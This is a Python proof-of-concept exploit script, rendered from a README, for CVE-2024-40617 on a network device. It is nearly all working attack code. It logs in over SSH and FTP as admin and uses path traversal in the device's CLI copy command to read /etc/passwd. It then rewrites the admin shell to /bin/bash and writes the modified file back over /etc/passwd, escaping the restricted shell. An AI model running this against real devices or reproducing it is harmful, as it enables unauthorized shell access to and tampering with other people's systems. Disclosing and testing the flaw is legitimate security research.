README.md
Rendering markdown...
#!/usr/bin/env python
# July 2024
# CVE-2024-40617 PoC (Eddy HUYNH / Jonathan PAUC)
import subprocess
import re
import sys
import os
import argparse
try:
import pexpect
except ModuleNotFoundError:
subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'pexpect'])
import pexpect
try:
from ftplib import FTP
except ModuleNotFoundError:
subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'ftplib'])
from ftplib import FTP
class ColoredOutput:
RED = '\033[91m'
GREEN = '\033[92m'
ORANGE = '\033[93m'
CYAN = '\033[96m'
RESET = '\033[0m'
@staticmethod
def print_success(message):
print(f"{ColoredOutput.GREEN}{message}{ColoredOutput.RESET}")
@staticmethod
def print_error(message):
print(f"{ColoredOutput.RED}{message}{ColoredOutput.RESET}")
@staticmethod
def print_content(message):
print(f"{ColoredOutput.ORANGE}{message}{ColoredOutput.RESET}")
@staticmethod
def print_deploy_message(message):
print(f"{ColoredOutput.CYAN}{message}{ColoredOutput.RESET}")
@staticmethod
def print_banner():
print(f"{ColoredOutput.ORANGE} __ __ ____ ____ ____ ___ {ColoredOutput.RESET}")
print(f"{ColoredOutput.ORANGE}| \/ |___ \ _ __ ___ |___ \| _ \ / _ \__ ___ __ {ColoredOutput.RESET}")
print(f"{ColoredOutput.ORANGE}| |\/| | __) | '_ ` _ \ __) | |_) | | | \ \ /\ / / '_ \ {ColoredOutput.RESET}")
print(f"{ColoredOutput.ORANGE}| | | |/ __/| | | | | |/ __/| __/| |_| |\ V V /| | | |{ColoredOutput.RESET}")
print(f"{ColoredOutput.ORANGE}|_| |_|_____|_| |_| |_|_____|_| \___/ \_/\_/ |_| |_|{ColoredOutput.RESET}")
print(f"")
class Payload:
@staticmethod
def generate(file_path):
if not os.path.exists(file_path):
ColoredOutput.print_error(f"[PAYLOAD] File [{file_path}] doesn't exist")
return
try:
with open(file_path, 'r') as file:
lines = file.readlines()
modified_lines = []
for line in lines:
modified_line = re.sub(r'^(admin:[^:]*:[^:]*:[^:]*::)//var/cli://sgw/usr/opt/cli/cli_sh$', r'\1/:/bin/bash', line)
modified_lines.append(modified_line)
with open(file_path, 'w') as file:
file.writelines(modified_lines)
ColoredOutput.print_success('[PAYLOAD] Payload successfully generated.')
except Exception as e:
ColoredOutput.print_error(f'[PAYLOAD] Error payload generation: {e}')
@staticmethod
def clean(file_path):
if not os.path.exists(file_path):
return
try:
os.remove(file_path)
ColoredOutput.print_success(f'[PAYLOAD] Clean payload stage.')
except Exception as e:
ColoredOutput.print_error(f'[PAYLOAD] Error cleaning payload stage: {e}')
class SSHConnection:
def __init__(self, hostname, username="admin", password="admin", port=50022):
self.hostname = hostname
self.username = username
self.password = password
self.port = port
self.connection = None
def connect(self):
try:
self.connection = pexpect.spawn(f'ssh {self.username}@{self.hostname} -p {self.port}')
self.connection.expect(f"admin@{self.hostname}'s password: ")
self.connection.sendline(self.password)
self.connection.expect(f"localhost# ")
ColoredOutput.print_success(f'[SSH] Successfully connected to {self.hostname}')
except pexpect.ExceptionPexpect as e:
ColoredOutput.print_error(f'[SSH] Error during connection: {e}')
def check_vulnerability(self):
if self.connection:
pass
else:
ColoredOutput.print_error('[SSH] Connection is not established')
def copy_passwd(self):
if self.connection:
self.connection.sendline(f"copy ftp/../../etc/passwd ftp/deploy")
self.connection.expect(f"localhost# ")
ColoredOutput.print_deploy_message(f'[EXPLOIT] Passwd copy operation : {self.connection.before.decode()}')
else:
ColoredOutput.print_error('[SSH] Connection is not established')
def exploit(self):
if self.connection:
self.connection.sendline(f"copy ftp/deploy/payload ftp/../../etc/passwd")
self.connection.expect(f"localhost# ")
ColoredOutput.print_deploy_message(f'[EXPLOIT] Exploit operation : {self.connection.before.decode()}')
ColoredOutput.print_deploy_message(f'[+] Now connect to SSH service on {self.hostname} and now you have access to a Bash prompt')
else:
ColoredOutput.print_error('[SSH] Connection is not established')
def disconnect(self):
if self.connection:
self.connection.sendline('exit')
self.connection = None
ColoredOutput.print_content('[SSH] Successfully disconnected')
else:
ColoredOutput.print_error('[SSH] No connection to close')
class FTPConnection:
def __init__(self, hostname, username='admin', password='admin', port=50021):
self.hostname = hostname
self.username = username
self.password = password
self.port = port
self.connection = None
def connect(self):
try:
self.connection = FTP()
self.connection.connect(self.hostname, self.port)
self.connection.login(self.username, self.password)
ColoredOutput.print_success(f'[FTP] Connection succeeded to {self.hostname}')
except Exception as e:
ColoredOutput.print_error(f'[FTP] Connection error : {e}')
def list_files(self, path="."):
if self.connection:
try:
files = self.connection.nlst(path)
for file in files:
ColoredOutput.print_content(file)
ColoredOutput.print_success(f'File list in {path}')
except Exception as e:
ColoredOutput.print_error(f'[FTP] Error retrieving file list: {e}')
else:
print('[FTP] Connection is not established')
def upload_file(self, local_path, target_path):
if not os.path.exists(local_path):
ColoredOutput.print_error(f"[FTP] File [{local_path}] doesn't exist")
return
try:
with open(local_path, 'rb') as file:
self.connection.storbinary(f'STOR {target_path}', file)
ColoredOutput.print_success(f'[FTP] File {local_path} successfully uploaded to {target_path}')
except Exception as e:
ColoredOutput.print_error(f'[FTP] Error uploading file [{local_path}]: {e}')
def download_file(self, target_path, local_path):
try:
with open(local_path, 'wb') as file:
self.connection.retrbinary(f'RETR {target_path}', file.write)
ColoredOutput.print_success(f'[FTP] File {target_path} successfully downloaded to {local_path}')
except Exception as e:
ColoredOutput.print_error(f'[FTP] Error downloading file [{target_path}]: {e}')
if os.path.exists(local_path):
os.remove(local_path)
def disconnect(self):
if self.connection:
self.connection.quit()
self.connection = None
ColoredOutput.print_content('[FTP] Successfully disconnected')
else:
ColoredOutput.print_error('[FTP] No connection to close')
def check_vulnerability(hostname, username, password):
print(f"Checking vulnerability for {hostname} with user {username}")
ColoredOutput.print_error(f"TODO - Not yet implemented")
print("")
def exploit_vulnerability(hostname, username, password):
print(f"Exploiting vulnerability for {hostname} with user {username}")
print("")
#FIRST STATE/ download original passwd
ssh_conn = SSHConnection(hostname, username, password)
ftp_conn = FTPConnection(hostname, username, password)
ssh_conn.connect()
ftp_conn.connect()
ssh_conn.copy_passwd()
ftp_conn.download_file('deploy/passwd', 'payload')
#SECOND STAGE / Generate the payload
Payload.generate('payload')
#THIRD STAGE / upload payload to the target
ftp_conn.upload_file('payload','deploy/payload')
ssh_conn.exploit()
# FOURTH STAGE / Decommissioning
Payload.clean('payload')
ssh_conn.disconnect()
ftp_conn.disconnect()
print("")
def main():
ColoredOutput.print_banner()
parser = argparse.ArgumentParser(description="CVE 2024-40617 Exploit PoC")
parser.add_argument('--version', action='version', version='Version 1.0 / Eddy HUYNH | Jonathan PAUC')
# Argument for the target hostname
parser.add_argument('-t', '--target', help='Target hostname', required=True)
parser.add_argument('-p', '--password', help='Admin Password', required=True)
# Exclusive group for choosing between check and exploit
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-c', '--check', action='store_true', help='Check vulnerability (Not yet implemented)')
group.add_argument('-e', '--exploit', action='store_true', help='Exploit vulnerability')
args = parser.parse_args()
if args.check:
check_vulnerability(args.target, "admin", args.password)
elif args.exploit:
exploit_vulnerability(args.target, "admin", args.password)
if __name__ == "__main__":
main()